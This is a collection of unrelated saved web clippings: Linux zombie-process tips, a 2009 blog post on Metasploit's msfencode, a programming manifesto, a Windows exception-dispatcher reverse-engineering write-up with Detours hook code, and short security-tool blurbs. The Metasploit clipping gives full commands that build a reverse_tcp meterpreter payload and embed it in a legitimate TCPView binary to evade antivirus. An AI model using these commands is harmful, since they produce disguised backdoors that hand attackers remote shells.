where  _ppid_ is the parent process ID of the defunct process.

  3. Reboot the Linux system, if the number of zombie process grows up to a harmful level \(i.e. causes system performance and reliability to degrade\).

  
If possible, talk to programmers who develop the parent process and find out
from them is that designed by purpose \(e.g. to avoid new child process reuse
process ID taken by terminated child process and thus becomes defunct\) or it
is actually a bug that can be fixed.  
<img src='img/Temp2_4039.gif' width='500' height='12' />

<img src='img/Temp2_4040.gif' width='53' height='12' />

<img src='img/Temp2_4039.gif' width='500' height='12' />  

  * How To Tell Or Check Linux Current Active Runlevel?
  * Linux: Orphan Process vs Zombie or Defunct Process
  * Some Examples Of Linux RPM Command Usage
  * How To Use umask To Set Linux File And Directory Default Permission?
  * How To Set Or Fix Linux Default Runlevel?
  * How To Interpret The Linux Load Average Triplets In Top Command Output?
  * Linux Commands For Ethernet Network Configuration And Troubleshooting

  

# Room362.com - Blog - Metasploit Blends in: New MSFPayload/ENcode

**Created:**| _11/4/2009 9:37:48 PM_  
---|---  
**Updated:**| _11/4/2009 9:37:57 PM_  
**Author:**| __  
**Tags:**| _Metasploit Malware-analysis_  
  

## METASPLOIT BLENDS IN: NEW MSFPAYLOAD/ENCODE

MONDAY, NOVEMBER 2, 2009 AT 10:47PM

In Revision 7315 of the Metasploit Framework \(SVN\) a new option was added to
MSFENCODE. Technically you always had the ability to do the following, but it
required a bit of knowledge of the inner workings of the framework.

But before I get into the new feature, lets quickly go over the standard way
you use msfencode:

> root@bt4:/pentest/exploits/framework3\# ./msfpayload windows/meterpreter/reverse\_tcp LHOST=192.168.92.131 LPORT=443 R | ./msfencode -t exe -o /tmp/bob.exe   
> \[\*\] x86/shikata\_ga\_nai succeeded with size 318 \(iteration=1\)
> root@bt4:/pentest/exploits/framework3\#
We just used MSFPAYLOAD to output in \[R\]AW format, a reverse tcp connect
meterpreter payload. We then piped it into MSFENCODE, so that we could output
it as a proper Windows executable \(/tmp/bob.exe\), encoded to avoid AV
detection.

Now if you knew where it was \(data/templates/template.exe\) you could
probably just replace the template.exe with the one you want loaded with the
payload and called it a day. But then you wouldn’t get some of the tweaks that
make this update awesome.

The update added the \(-x\) option to msfencode. This allows you to specify an
executable of your choosing to sacrifice to the gods. For example: \(TCPView\)

> root@bt4:/pentest/exploits/framework3\# ./msfpayload
> windows/meterpreter/reverse\_tcp LHOST=192.168.92.131 LPORT=443  
> R | ./msfencode -t exe -x /tmp/Tcpview.exe -o /tmp/Tcpview2.exe   
> \[\*\] x86/shikata\_ga\_nai succeeded with size 318 \(iteration=1\)
> root@bt4:/pentest/exploits/framework3\#
And if everything went well, we have a nice new executable in /tmp/ called
Tcpview2.exe. Want to know the magic part? Try to tell them apart:

ROB FULLER | 8 COMMENTS | SHARE ARTICLE
  

# Programming, Motherfucker

**Created:**| _5/11/2011 9:03:30 PM_  
---|---  
**Updated:**| _5/11/2011 9:03:30 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

<img src='img/Temp2_6416.jpg' alt='Programming, Motherfucker, do you speak
it!' />

# The Motherfucking Manifesto  
For  
 _Programming, Motherfuckers_

We are a community of motherfucking programmers who have been humiliated by
software development methodologies for **years**.

We are tired of XP, Scrum, Kanban, Waterfall, Software Craftsmanship \(aka XP-
Lite\) and anything else getting in the way of...**Programming,
Motherfucker**.

We are tired of being told we're autistic idiots who need to be manipulated to
work in a Forced Pair Programming chain gang without any time to be creative
because none of the 10 managers on the project can do...**Programming,
Motherfucker**.

We must destroy these methodologies that get in the way of...**Programming,
Motherfucker**.

## Our Values

They Claim To Value| They Really Value| We Fucking Do  
---|---|---  
Individuals and interactions|  _Tons of billable hours_| **Programming,
Motherfucker**  
Working software|  _Working unit tests_| **Programming, Motherfucker**  
Customer collaboration|  _Bleeding clients dry_| **Programming, Motherfucker**  
Responding to change|  _Instability and plausible deniability_| **Programming,
Motherfucker**  
We think the shit on the left, is really just the con in the middle, and that
we really need to just do the thing on the right...**Programming,
Motherfucker**.

### Signed,

_Zed A. Shaw_ And The Programming Motherfuckers

#### Becoming A Programmer, Motherfucker

If you can't code, and you want to learn, then I recommend my book Learn
Python The Hard Way. It's written so anyone can get through it and at least
understand the basics of...**Programming, Motherfucker**.

# Having a look at the Windows' User/Kernel exceptions dispatcher - Diary of a
reverse-engineer

**Created:**| _10/18/2013 10:04:10 AM_  
---|---  
**Updated:**| _10/18/2013 10:04:10 AM_  
**Author:**| __  
**Tags:**| _windows reversing kernel_  
  

# **I** ntroduction****

The purpose of this little post is to create a piece of code able to monitor
exceptions raised in a process \(a bit like gynvael ’s ExcpHook  but in
userland\), and to generate a report with information related to the
exception**.** The other purpose is to have a look at the internals of
course**.**

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
[/code]

|

[code]

    --Exception detected--
    ExceptionRecord: 0x0028fa2c Context: 0x0028fa7c
    Image Path: D:\Codes\The Sentinel\tests\divzero.exe
    Command Line: ..\tests\divzero.exe divzero.exe
    PID: 0x00000aac
    Exception Code: 0xc0000094 (EXCEPTION_INT_DIVIDE_BY_ZERO)
    Exception Address: 0x00401359
    EAX: 0x0000000a EDX: 0x00000000 ECX: 0x00000001 EBX: 0x7ffde000
    ESI: 0x00000000 EDI: 0x00000000 ESP: 0x0028fee0 EBP: 0x0028ff18
    EIP: 0x00401359
    EFLAGS: 0x00010246
    
    Stack:
    0x767bc265 0x54f3620f 0xfffffffe 0x767a0f5a
    0x767ffc59 0x004018b0 0x0028ff90 0x00000000
    
    Disassembly:
    00401359 (04) f77c241c                 IDIV DWORD [ESP+0x1c]
    0040135d (04) 89442404                 MOV [ESP+0x4], EAX
    00401361 (07) c7042424304000           MOV DWORD [ESP], 0x403024
    00401368 (05) e833080000               CALL 0x401ba0
    0040136d (05) b800000000               MOV EAX, 0x0
    
[/code]  
---|---  
That’s why I divided this post in two big parts:

  * the first one will talk about Windows internals background required to understand how things work under the hood,
  * the last one will talk about _Detours_ and how to hook _ntdll**\!** KiUserExceptionDispatcher_ toward our purpose**.** Basically, the library gives programmers a set of APIs to easily hook procedures**.** It also has a clean and readable documentation, so you should use it**\!** It is usually used for that kind of things: 
    * Hot-patching bugs \(no need to reboot\),
    * Tracing API calls \(API Monitor  like\),
    * Monitoring \(a bit like our example\),
    * Pseudo-sandboxing \(prevent API calls\),

# Lights on _ntdll**\!** KiUserExceptionDispatcher****_

The purpose of this part is to be sure to understand how exceptions are given
back to userland in order to be handled \(or not\) by the SEH .aspx\)/UEF
.aspx\) mechanisms ; though I’m going to focus on Windows 7 x86 because that’s
the OS I run in my VM**.** The other objective of this part is to give you the
big picture, I mean we are not going into too many details, just enough to
write a working exception sentinel PoC later**.**

## nt**\!** KiTrap**** \*

When your userland application does something wrong an exception is raised by
your CPU: let’s say you are trying to do a division by zero \(_nt**\!**
KiTrap00_ will handle that case\), or you are trying to fetch a memory page
that doesn’t exist \(_nt**\!** KiTrap0E_\).

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
[/code]

|

[code]

    kd> **!** idt -a
    
    Dumping IDT: 80b95400
    
    00:   8464d200 nt!KiTrap00
    01:   8464d390 nt**!** KiTrap01
    02:   Task Selector = 0x0058
    03:   8464d800 nt**!** KiTrap03
    04:   8464d988 nt**!** KiTrap04
    05:   8464dae8 nt!KiTrap05
    06:   8464dc5c nt**!** KiTrap06
    07:   8464e258 nt!KiTrap07
    08:   Task Selector = 0x0050
    09:   8464e6b8 nt**!** KiTrap09
    0a:   8464e7dc nt!KiTrap0A
    0b:   8464e91c nt**!** KiTrap0B
    0c:   8464eb7c nt!KiTrap0C
    0d:   8464ee6c nt**!** KiTrap0D
    0e:   8464f51c nt!KiTrap0E
    0f:   8464f8d0 nt**!** KiTrap0F
    10:   8464f9f4 nt!KiTrap10
    11:   8464fb34 nt**!** KiTrap11
    [...]
    
[/code]  
---|---  
I’m sure you already know that but in x86 Intel processors there is a table
called the IDT  that stores the different routines that will handle the
exceptions**.** The virtual address of that table is stored in a special x86
register called _IDTR_ , and that register is accessible only by using the
instructions _sidt_ \(Stores Interrupt Descriptor Table register\) and _lidt_
\(Loads Interrupt Descriptor Table register\)**.**

Basically there are two important things in an IDT entry: the address of the
ISR , and the segment selector \(remember it’s a simple index in the GDT \)
the CPU should use**.**

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    
[/code]

|

[code]

    kd> **!** pcr
    KPCR for Processor 0 at 84732c00:
        [..**.**]
                        IDT: 80b95400
                        GDT: 80b95000
    
    kd> dt nt**!** _KIDTENTRY 80b95400
       +0x000 Offset           : 0xd200
       +0x002 Selector         : 8
       +0x004 Access           : 0x8e00
       +0x006 ExtendedOffset   : 0x8464
    
    kd> ln (0x8464 << 10) + (0xd200)
    Exact matches:
        nt**!** KiTrap00 (<no parameter info>)
    
    kd> !@display_gdt 80b95000
    
    #################################
    # Global Descriptor Table (GDT) #
    #################################
    
    Processor 00
    Base : 80B95000    Limit : 03FF
    
    Off**.**  Sel.  Type    Sel.:Base  Limit   Present  DPL  AVL  Informations
    ----  ----  ------  ---------  ------- -------  ---  ---  ------------
    [..**.**]
    0008  0008  Code32  00000000  FFFFFFFF  YES     0    0    Execute/Read, accessed  (Ring 0)CS=0008
    [..**.**]
    
[/code]  
---|---  
The entry just above tells us that for the processor 0, if a _division-by-
zero_ exception is raised the kernel mode routine nt**\!** KiTrap00 will be
called with a flat-model code32 ring0 segment \(cf GDT dump\)**.**

Once the CPU is in _nt\!KiTrap00_ ’s code it basically does a lot of things,
same thing for all the other _nt**\!** KiTrap_ routines, but somehow they
\(more or less\) end up in the kernel mode exceptions dispatcher: _nt**\!**
KiDispatchException_ \(remember gynvael ’s tool **?** He was hooking that
method\!\) once they created the _nt**\!** \_KTRAP\_FRAME_ structure
associated with the fault**.**

<img src='img/Temp2_3661.png' />

Now, you may already have asked yourself how the kernel reaches back to the
userland in order to process the exception via the SEH mechanism for example
**?**

That’s kind of simple actually. The trick used by the Windows kernel is to
check where the exception took place: if it’s from user mode, the kernel mode
exceptions dispatcher sets the field _eip_ of the trap frame structure
\(passed in argument\) to the symbol _nt**\!** KeUserExceptionDispatcher_.
Then, _nt**\!** KeEloiHelper_ will use that same trap frame to resume the
execution \(in our case on _nt**\!** KeUserExceptionDispatcher_\).

But guess what ? That symbol holds the address of _ntdll**\!**
KiUserExceptionDispatcher_, so it makes total sense**\!**

[code]

    1
    2
    
[/code]

|

[code]

    kd> dps nt**!** KeUserExceptionDispatcher L1
    847a49a0  77476448 ntdll**!** KiUserExceptionDispatcher
    
[/code]  
---|---  
If like me you like illustrations, I’ve made a WinDbg session where I am going
to show what we just talked about**.** First, let’s trigger our _division-by-
zero_ exception:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
[/code]

|

[code]

    kd> bp nt**!** KiTrap00
    kd> g
    Breakpoint 0 hit
    nt**!** KiTrap00:
    8464c200 6a00            push    0
    kd> k
    ChildEBP RetAddr
    8ec9bd98 01141269 nt**!** KiTrap00
    8ec9bd9c 00000000 divzero+0x1269
    kd> u divzero+0x1269 l1
    divzero+0x1269:
    01141269 f7f0            div     eax,eax
    
[/code]  
---|---  
Now let’s go a bit further in the ISR, and more precisely when the _nt**\!**
\_KTRAP\_FRAME_ is built:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    
[/code]

|

[code]

    kd> bp nt**!** KiTrap00+0x36
    kd> g
    Breakpoint 1 hit
    nt**!** KiTrap00+0x36:
    8464c236 8bec            mov     ebp,esp
    kd> dt nt**!** _KTRAP_FRAME @esp
       +0x000 DbgEbp           : 0x1141267
       +0x004 DbgEip           : 0x1141267
       +0x008 DbgArgMark       : 0
       +0x00c DbgArgPointer    : 0
       +0x010 TempSegCs        : 0
       +0x012 Logging          : 0 ''
       +0x013 Reserved         : 0 ''
       +0x014 TempEsp          : 0
       +0x018 Dr0              : 0
       +0x01c Dr1              : 0
       +0x020 Dr2              : 0
       +0x024 Dr3              : 0x23
       +0x028 Dr6              : 0x23
       +0x02c Dr7              : 0x1141267
       +0x030 SegGs            : 0
       +0x034 SegEs            : 0x23
       +0x038 SegDs            : 0x23
       +0x03c Edx              : 0x1141267
       +0x040 Ecx              : 0
       +0x044 Eax              : 0
       +0x048 PreviousPreviousMode : 0
       +0x04c ExceptionList    : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
       +0x050 SegFs            : 0x270030
       +0x054 Edi              : 0
       +0x058 Esi              : 0
       +0x05c Ebx              : 0x7ffd3000
       +0x060 Ebp              : 0x27fd58
       +0x064 ErrCode          : 0
       +0x068 Eip              : 0x1141269
       +0x06c SegCs            : 0x1b
       +0x070 EFlags           : 0x10246
       +0x074 HardwareEsp      : 0x27fd50
       +0x078 HardwareSegSs    : 0x23
       +0x07c V86Es            : 0
       +0x080 V86Ds            : 0
       +0x084 V86Fs            : 0
       +0x088 V86Gs            : 0
    kd> .trap @esp
    ErrCode = 00000000
    eax=00000000 ebx=7ffd3000 ecx=00000000 edx=01141267 esi=00000000 edi=00000000
    eip=01141269 esp=0027fd50 ebp=0027fd58 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
    divzero+0x1269:
    001b:01141269 f7f0            div     eax,eax
    kd> .trap
    Resetting default scope
    
[/code]  
---|---  
The idea now is to track the modification of the _nt**\!** \_KTRAP\_FRAME.Eip_
field as we discussed earlier \(BTW, don’t try to put directly a breakpoint on
_nt**\!** KiDispatchException_ with VMware, it just blows my guest virtual
machine\) via a hardware-breakpoint:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
[/code]

|

[code]

    kd> ba w4 esp+68
    kd> g
    Breakpoint 2 hit
    nt**!** KiDispatchException+0x3d6:
    846c559e c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
    kd> dt nt**!** _KTRAP_FRAME Eip @esi
       +0x068 Eip : 0x77b36448
    kd> ln 0x77b36448
    Exact matches:
        ntdll**!** KiUserExceptionDispatcher (<no parameter info>)
    
[/code]  
---|---  
OK, so here we can clearly see the trap frame has been modified \(keep in mind
WinDbg gives you the control _after_ the actual writing\)**.** That basically
means that when the kernel will resume the execution via _nt**\!**
KiExceptionExit_ \(or _nt\!Kei386EoiHelper_ , two symbols for one same
address\) the CPU will directly execute the user mode exceptions
dispatcher**.**

Great, I think we have now enough understanding to move on the second part of
the article**.**

# Serial Detourer****

In this part we are going to talk about Detours, what looks like the API and
how you can use it to build a userland exceptions sentinel without too many
lines of codes**.** Here is the list of the features we want:

  * To hook _ntdll**\!** KiUserExceptionDispatcher_: we will use Detours for that,
  * To generate a tiny readable exception report: for the disassembly part we will use Distorm  \(yet another easy cool library to use\),
  * To focus x86 architecture: because unfortunately the express version doesn’t work for x86\_64**.**

Detours is going to modify the first bytes of the API you want to hook in
order to redirect its execution in your piece of code: it’s called an _inline-
hook_**.**

<img src='img/Temp2_3662.png' />

Detours can work in two modes:

  * A first mode where you don’t touch to the binary you’re going to hook, you will need a DLL module you will inject into your binary’s memory**.** Then, Detours will modify in-memory the code of the APIs you will hook**.** That’s what we are going to use.
  * A second mode where you modify the binary file itself, more precisely the IAT **.** In that mode, you won’t need to have a DLL injecter**.** If you are interested in details about those tricks they described them in the _Detours.chm_ file in the installation directory, read it**\!**

So our sentinel will be divided in two main parts:

  * A program that will start the target binary and inject our DLL module \(that’s where all the important things are\),
  * The sentinel DLL module that will hook the userland exceptions dispatcher and write the exception report**.**

The first one is really easy to implement using DetourCreateProcessWithDll:
it’s going to create the process and inject the DLL we want**.**

[code]

    1
    
[/code]

|

[code]

    Usage: **.** /ProcessSpawner <full path dll> <path executable> <excutable name> [args..]
    
[/code]  
---|---  
To successfully hook a function you have to know its address of course, and
you have to implement the hook function**.** Then, you have to call
_DetourTransactionBegin_ , _DetourUpdateThread_ , _DetourTransactionCommit_
and you’re done, wonderful isn’t it **?**

The only tricky thing, in our case, is that we want to hook _ntdll**\!**
KiUserExceptionDispatcher_, and that function has its own custom calling
convention**.** Fortunately for us, in the _samples_ directory of Detours you
can find how you are supposed to deal with that specific case:

KiUserExceptionDispatcher hook

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    
[/code]

|

[code]

    VOID __declspec(naked) NTAPI KiUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord, PCONTEXT Context)
    {
        /* Taken from the Excep's detours sample */
        __asm
        {
            xor     eax, eax                ; // Create fake return address on stack**.**
            push    eax                     ; // (Generally, we are called by the kernel**.**)
    
            push    ebp                     ; // Prolog
            mov     ebp, esp                ;
            sub     esp, __LOCAL_SIZE       ;
        }
    
        EnterCriticalSection(&critical_section);
        log_exception(ExceptionRecord, Context);
        LeaveCriticalSection(&critical_section);
    
        __asm
        {
            mov     ebx, ExceptionRecord    ;
            mov     ecx, Context            ;
            push    ecx                     ;
            push    ebx                     ;
            mov     eax, [TrueKiUserExceptionDispatcher];
            jmp     eax                     ;
            //
            // The above code should never return**.**
            //
            int     3                       ; // Break**!**
            mov     esp, ebp                ; // Epilog
            pop     ebp                     ;
            ret                             ;
        }
    }
    
[/code]  
---|---  
Here is what looks _ntdll**\!** KiUserExceptionDispatcher_ like in memory
after the hook:

<img src='img/Temp2_3660.png' />

Disassembling some instructions pointed by the _CONTEXT.Eip_ field is also
really straightforward to do with _distorm\_decode_ :

Use distorm3 to disassemble some codes

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    
[/code]

|

[code]

    if(IsBadReadPtr((const void*)Context->Eip, SIZE_BIGGEST_X86_INSTR * MAX_INSTRUCTIONS) == 0)
    {
      _DecodeResult res;
      _OffsetType offset = Context->Eip;
      _DecodedInst decodedInstructions[MAX_INSTRUCTIONS] = {0};
      unsigned int decodedInstructionsCount = 0;
    
      res = distorm_decode(
          offset,
          (const unsigned char*)Context->Eip,
          MAX_INSTRUCTIONS * SIZE_BIGGEST_X86_INSTR,
          Decode32Bits,
          decodedInstructions,
          MAX_INSTRUCTIONS,
          &decodedInstructionsCount
      );
    
      if(res == DECRES_SUCCESS || res == DECRES_MEMORYERR)
      {
        fprintf(f, "\nDisassembly:\n");
        for(unsigned int i = 0; i < decodedInstructionsCount; ++i)
        {
          fprintf(
            f,
            "%**.** 8I64x (%.2d) %-24s %s%s%s\n",
            decodedInstructions[i].offset,
            decodedInstructions[i].size,
            (char*)decodedInstructions[i].instructionHex**.** p,
            (char*)decodedInstructions[i].mnemonic**.** p,
            decodedInstructions[i].operands.length **!** = 0 ? " " : "",
            (char*)decodedInstructions[i].operands**.** p
          );
        }
      }
    }
    
[/code]  
---|---  
So the prototype works pretty great like that**.**

[code]

    1
    2
    3
    4
    
[/code]

|

[code]

    D:\Codes\The Sentinel\Release>ProcessSpawner.exe "D:\Codes\The Sentinel\Release\ExceptionMonitorDll.dll" ..\tests\divzero.exe divzero.exe
    D:\Codes\The Sentinel\Release>ls -l D:\Crashs\divzero.exe
    total 4
    -rw-rw-rw-  1 0vercl0k 0 863 2013-10-16 22:58 exceptionaddress_401359pid_2732tick_258597468timestamp_1381957116.txt
    
[/code]  
---|---  
But once I’ve encountered a behavior that I didn’t plan on: there was like a
stack-corruption in a stack-frame protected by the _/GS_ cookie**.** If the
cookie has been, somehow, rewritten the program calls
_\_\_\_report\_gs\_failure_ \(sometimes the implementation is directly
inlined, thus you can find the definition of the function in your binary\) in
order to kill the program because the stack-frame is broken**.** Long story
short, I was also hooking _kernel32**\!** UnhandleExceptionFilter_ to not miss
that kind of exceptions, but I noticed while writing this post that it doesn’t
work anymore**.** We are going to see why in the next part.

# The untold story: Win8 and _nt**\!** KiFastFailDispatch****_

## Introduction****

When I was writing this little post I did also some tests on my personal
machine: a Windows 8 host**.** But the test for the _/GS_ thing we just talked
about wasn’t working at all as I said**.** So I started my investigation by
looking at the code of _\_\_report\_gsfailure_ \(generated with a VS2012\) and
I saw this:

\_\_report\_gsfailure

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
[/code]

|

[code]

    void __usercall __report_gsfailure(unsigned int a1<ebx>, unsigned int a2<edi>, unsigned int a3<esi>, char a4)
    {
      unsigned int v4; // eax@1
      unsigned int v5; // edx@1
      unsigned int v6; // ecx@1
      unsigned int v11; // [sp-4h] [bp-328h]@1
      unsigned int v12; // [sp+324h] [bp+0h]@0
      void *v13; // [sp+328h] [bp+4h]@3
    
      v4 = IsProcessorFeaturePresent(0x17u);
      // [..**.**]
      if ( v4 )
      {
        v6 = 2;
        __asm { int     29h             ; DOS 2+ internal - FAST PUTCHAR }
      }
      [..**.**]
      __raise_securityfailure(&GS_ExceptionPointers);
    }
    
[/code]  
---|---  
The first thing I asked myself was about that weird _int 29h_**.** Next thing
I did was to download a fresh Windows 8 VM here and attached a kernel debugger
in order to check the IDT entry 0x29:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
[/code]

|

[code]

    kd> vertarget
    Windows 8 Kernel Version 9200 MP (2 procs) Free x86 compatible
    Built by: 9200**.** 16424.x86fre.win8_gdr.120926-1855
    Machine Name:
    Kernel base = 0x8145c000 PsLoadedModuleList = 0x81647e68
    Debug session time: Thu Oct 17 11:30:18**.** 772 2013 (UTC + 2:00)
    System Uptime: 0 days 0:02:55**.** 784
    kd> **!** idt 29
    
    Dumping IDT: 809da400
    
    29: 8158795c nt!KiRaiseSecurityCheckFailure
    
[/code]  
---|---  
As opposed I was used to see on my Win7 machine:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
[/code]

|

[code]

    kd> vertarget
    Windows 7 Kernel Version 7600 MP (1 procs) Free x86 compatible
    Product: WinNt, suite: TerminalServer SingleUserTS
    Built by: 7600**.** 16385.x86fre.win7_rtm**.** 090713-1255
    Machine Name:
    Kernel base = 0x84646000 PsLoadedModuleList = 0x8478e810
    Debug session time: Thu Oct 17 14:25:40**.** 969 2013 (UTC + 2:00)
    System Uptime: 0 days 0:00:55**.** 203
    kd> !idt 29
    
    Dumping IDT: 80b95400
    
    29: 00000000
    
[/code]  
---|---  
I’ve opened my favorite IDE and I wrote a bit of code to test if there was a
different behavior between Win7 and Win8 regarding this exception handling:

gs**.** c

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
[/code]

|

[code]

    #include <stdio**.** h>
    #include <windows.h>
    
    int main()
    {
      __try
      {
        __asm int 0x29
      }
      __except(EXCEPTION_EXECUTE_HANDLER)
      {
        printf("SEH catched the exception**!** \n");
      }
      return 0;
    }
    
[/code]  
---|---  
On Win7 I’m able to catch the exception via a SEH handler: it means the
Windows kernel calls the user mode exception dispatcher for further processing
by the user exception handlers \(as we saw at the beginning of the post\)**.**
But on Win8, at my surprise, I don’t get the message ; the process is killed
directly after displaying the usual message box “a program has stopped”**.**
Definitely weird.

## What happens on Win7****

When the interruption 0x29 is triggered by my code, the CPU is going to check
if there is an IDT entry for that interruption, and if there isn’t it’s going
to raise a \#GP \(_nt**\!** KiTrap0d_\) that will end up in
_nt\!KiDispatchException_.

And as previously, the function is going to check where the fault happened and
because it happened in userland it will modify the trap frame structure to
reach _ntdll**\!** KiUserExceptionDispatcher_. That’s why we can catch it in
our _\_\_except_ scope**.**

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
[/code]

|

[code]

    kd> r
    eax=0000000d ebx=86236d40 ecx=862b48f0 edx=0050e600 esi=00000000 edi=0029b39f
    eip=848652dd esp=9637fd34 ebp=9637fd34 iopl=0         nv up ei pl zr na pe nc
    cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
    nt**!** KiTrap0D+0x471:
    848652dd e80ddeffff      call    nt**!** CommonDispatchException+0x123 (848630ef)
    kd> k 2
    ChildEBP RetAddr
    9637fd34 0029b39f nt**!** KiTrap0D+0x471
    0016fc1c 0029be4c gs+0x2b39f
    kd> u gs+0x2b39f l1
    gs+0x2b39f:
    0029b39f cd29            int     29h
    
[/code]  
---|---  
## What happens on Win8****

This time the kernel has defined an ISR for the interruption 0x29: _nt**\!**
KiRaiseSecurityCheckFailure_. This function is going to call _nt**\!**
KiFastFailDispatch_, and this one is going to call _nt**\!**
KiDispatchException_:

<img src='img/Temp2_3663.png' />

BUT the exception is going to be processed as a **second-chance** exception
because of the way _nt**\!** KiFastFailDispatch_ calls the kernel mode
exception dispatcher**.** And if we look at the source of _nt**\!**
KiDispatchException_ in ReactOS we can see that this exception won’t have the
chance to reach back the userland as in Win7 :\)\):

KiDispatchException from ReactOS

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    
[/code]

|

[code]

    VOID
    NTAPI
    KiDispatchException(IN PEXCEPTION_RECORD ExceptionRecord,
                        IN PKEXCEPTION_FRAME ExceptionFrame,
                        IN PKTRAP_FRAME TrapFrame,
                        IN KPROCESSOR_MODE PreviousMode,
                        IN BOOLEAN FirstChance)
    {
        CONTEXT Context;
        EXCEPTION_RECORD LocalExceptRecord;
    
    // [..**.**]
        /* Handle kernel-mode first, it's simpler */
        if (PreviousMode == KernelMode)
        {
    // [..**.**]
        }
        else
        {
            /* User mode exception, was it first-chance**?** */
            if (FirstChance)
            {
    // [..**.**]
    // that's in this branch the kernel reaches back to the user mode exception dispatcher
    // but if FirstChance=0, we won't have that chance
    
              /* Set EIP to the User-mode Dispatcher */
              TrapFrame->Eip = (ULONG)KeUserExceptionDispatcher;
    
              /* Dispatch exception to user-mode */
              _SEH2_YIELD(return);
            }
    
            /* Try second chance */
            if (DbgkForwardException(ExceptionRecord, TRUE, TRUE))
            {
                /* Handled, get out */
                return;
            }
            else if (DbgkForwardException(ExceptionRecord, FALSE, TRUE))
            {
                /* Handled, get out */
                return;
            }
    // [..**.**]
        return;
    }
    
[/code]  
---|---  
To convince yourself you can even modify the _FirstChance_ argument passed to
_nt**\!** KiDispatchException_ from _nt\!KiFastFailDispatch_**.** You will see
the SEH handler is called like in Win7:

<img src='img/Temp2_3659.png' />

Cool, we have now our answer to the weird behavior**\!** I guess if you want
to monitor _/GS_ exception you are going to find another trick :\)\)**.**

# Conclusion****

I hope you enjoyed this little trip in the Windows’ exception world both in
user and kernel mode**.** You will find the seems-to-be-working PoC on my
github account here: The sentinel **.** By the way, you are highly encouraged
to improve it, or to modify it in order to suit your use-case**\!**

If you liked the subject of the post, I’ve made a list of really
cool/interesting links you should check out:

High five to my friend @Ivanlef0u  for helping me to troubleshoot the weird
behavior, and @\_\_x86  for the review**\!**

****

# Ivan Ristić: A study of what really breaks SSL

**Created:**| _5/25/2011 4:46:21 PM_  
---|---  
**Updated:**| _5/25/2011 4:46:34 PM_  
**Author:**| __  
**Tags:**| _web crypto_  
  

### A study of what really breaks SSL

Earlier this year, we at SSL Labs conducted a second, much deeper survey of
SSL usage. \(I can now say "we" and really mean it, because most of the work
on the survey was done by my Qualys coleague, Michael Small.\) I presented the
results last week at Hack In the Box Amsterdam conference:

> _We love security metrics because they tell us what really goes on out
> there. Last year we conducted an analysis of millions of SSL servers,
> showing, for the first time, how SSL is really used. This year we are
> pushing our study further by deepening and expending our efforts in several
> key areas. We will be looking at the problems that really break SSL —
> insecure session cookies, mixed content, incorrect site configuration, and
> distribution of trust to third-party sites. The best crypto in the world is
> not going to help a site that has flaws in these critical areas._
> _To discover these flaws we are building a custom site crawler, which we are
> then going to run against the world’s 1 million most used web sites. In
> addition to all that, we are expanding the scope of the study to include
> protocols other than HTTP, as well as basing our assessment on an updated
> version of the rating guide. The end result? We are finally going to find
> out how useful SSL really is._
Get the slides here:

  * A study of what really breaks SSL \(PDF\)

# Snorby.org

**Created:**| _7/2/2009 4:25:04 PM_  
---|---  
**Updated:**| _7/2/2009 4:25:16 PM_  
**Author:**| __  
**Tags:**| _web iDS/iPS_  
  

# Snorby - All about simplicity.

  

## What is Snorby?

  

Snorby is a new and modern Snort IDS front-end. The basic fundamental concepts
behind snorby are simplicity and power. The project goal is to create a free,
open source and highly competitive application for network monitoring for both
private and enterprise use.

  

## Snorby Updates

  

You can follow me on twitter for real time Snorby update
http://www.twitter.com/mephux

  

## A Quick Sneak Peek

  
Click Here To Watch A Demo.

# fuhry/linux-memory-dumper

**Created:**| _7/30/2013 9:22:49 AM_  
---|---  
**Updated:**| _7/30/2013 9:22:49 AM_  
**Author:**| __  
**Tags:**| _Memory forensics Linux_  
  

# **W** hat is this... thing?

This is a script which dumps as much allocated memory as possible from a
running Linux system**.** The primary target is user data, which is what most
forensic investigations are looking for anyway**.**

#  How does it work?

By parsing /proc//maps and dumping the regions described in there from
/proc//mem**.**

#  Does it need root?

No\! However, the success rate is significantly more limited when you run it
